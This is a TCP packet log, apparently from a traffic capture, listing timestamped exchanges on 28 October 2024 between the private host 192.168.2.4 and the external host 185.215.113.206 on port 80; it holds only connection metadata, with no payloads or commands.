Oct 28, 2024 08:17:36.008261919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008274078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008274078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008306026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008307934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008335114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008372068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008372068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008385897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008440018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008479118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008479118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008488894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008523941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008549929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008558035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008574009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008590937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008606911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008637905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008641958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008676052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008707047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008727074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008730888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008760929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008781910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008794069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008822918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008826971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008846998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008861065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008889914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008897066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008929968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008943081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008943081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008970976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008991957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009005070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009016037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009042978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009077072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009088993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009088993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009124041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009130001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009165049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009191990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009201050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009227991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009231091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009253025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009253025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009263992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009299040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009303093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009334087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.009373903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.009373903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048228025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048295021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048331022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048365116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048369884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048369884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048410892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048410892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048422098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048492908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048528910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048535109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048535109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048564911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048599005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048607111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048607111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048633099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048636913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048671007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048705101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048717022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048717022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048741102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048764944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048793077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.048795938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.048865080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.094439030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.094491005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.094525099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.094533920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.094533920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.094566107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126275063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126328945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126357079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126363039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126405001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126405001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126415968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126450062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126461983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126506090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126543999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126550913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126559019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126594067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126629114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126632929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126662016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126679897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126713991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126723051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126723051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126748085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126756907 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126782894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126796007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126826048 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126835108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126869917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126905918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126909971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126909971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126950026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.126960039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.126996040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127006054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127038956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127044916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127075911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127084017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127111912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127146006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127155066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127155066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127181053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127208948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127228975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127232075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127265930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127285957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127300978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127321005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127341986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127355099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127388954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127422094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127425909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127425909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127461910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127495050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127580881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127587080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127635956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127671003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127685070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127685070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127705097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127741098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127753973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127753973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127804041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127809048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127870083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127893925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127927065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127962112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.127964973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.127965927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.128021955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.128040075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.128073931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.128108978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.128112078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.128112078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.128150940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.173230886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.178652048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461606026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461633921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461643934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461664915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461678028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461688995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461745024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461776972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461786032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461793900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461810112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461822987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461832047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461836100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461878061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461878061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461924076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461935043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461946011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461956024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461972952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.461999893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.461999893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462023973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462425947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462438107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462454081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462479115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462498903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462503910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462512016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462523937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462564945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462564945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462804079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462815046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462829113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462855101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462865114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462868929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462882042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462888956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462897062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.462951899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.462951899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.463363886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.463373899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.463489056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581338882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581392050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581403017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581453085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581456900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581466913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581517935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581517935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581552029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581563950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581573963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581603050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581603050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581629992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581666946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581679106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581688881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581698895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581718922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581718922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581737041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581768036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581882954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581924915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581937075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.581962109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581962109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.581981897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582043886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582056046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582066059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582094908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582094908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582129002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582144022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582154989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582166910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582192898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582192898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582225084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582232952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582292080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582473993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582485914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582496881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582509041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582513094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582535028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582551003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582562923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582576036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582586050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582596064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582606077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582617998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582618952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582649946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582649946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582731962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582771063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582771063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582772970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582786083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582817078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582827091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582854033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582854033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582911015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582921982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582932949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.582966089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.582966089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.583030939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583050013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583060980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583070993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583089113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.583101988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.583183050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.583652973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583663940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583674908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.583723068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.583723068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.623090982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.623135090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.623145103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.623156071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.623234034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.623234034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.700450897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700536966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700545073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.700546980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700556993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700613022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.700613022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.700721025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700790882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700800896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.700879097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.700958967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701019049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701041937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701051950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701097012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701111078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701122046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701132059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701142073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.701162100 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.701165915 CET	80	49766	185.215.113.206	192.168.2.4
